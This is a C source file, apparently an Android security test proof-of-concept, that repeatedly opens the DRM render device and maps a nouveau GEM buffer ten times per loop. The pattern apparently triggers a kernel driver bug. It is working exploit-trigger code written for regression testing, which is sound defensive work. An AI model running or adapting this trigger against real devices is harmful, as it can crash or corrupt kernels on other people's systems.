/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include "local_poc.h"
#include "../includes/common.h"
#define DRMDEV_NAME "/dev/dri/renderD128"
#define MAX_MAPS 10

static int drm_version(int fd) {
  struct drm_version ver;
  ver.name_len = 100;
  ver.date_len = 100;
  ver.desc_len = 100;

  ver.name = (char*)malloc(ver.name_len);
  ver.date = (char*)malloc(ver.date_len);
  ver.desc = (char*)malloc(ver.desc_len);

  if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
    close(fd);
    exit(EXIT_FAILURE);
  }
  return 0;
}

static uint32_t nouveau_gem_ioctl_new(int fd) {
  struct drm_nouveau_gem_new new_arg;

  memset(&new_arg, 0, sizeof(new_arg));

  new_arg.info.size = 0x1000;
  new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;

  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
    close(fd);
    exit(EXIT_FAILURE);
  }
  return new_arg.info.handle;
}

static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
  struct drm_nouveau_gem_map map_arg;
  memset(&map_arg, 0, sizeof(map_arg));
  map_arg.handle = handle;
  map_arg.length = 0x1000;

  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
    close(fd);
    exit(EXIT_FAILURE);
  }
}

int main() {
  int fd;
  time_t test_started = start_timer();

  while (timer_active(test_started)) {
    fd = open(DRMDEV_NAME, O_RDWR);
    if (fd < 0) {
      return -1;
    }

    drm_version(fd);

    uint32_t handle = nouveau_gem_ioctl_new(fd);

    for (int i = 0; i < MAX_MAPS; i++) {
      nouveau_gem_ioctl_map(fd, handle);
    }
    close(fd);
  }
  return 0;
}
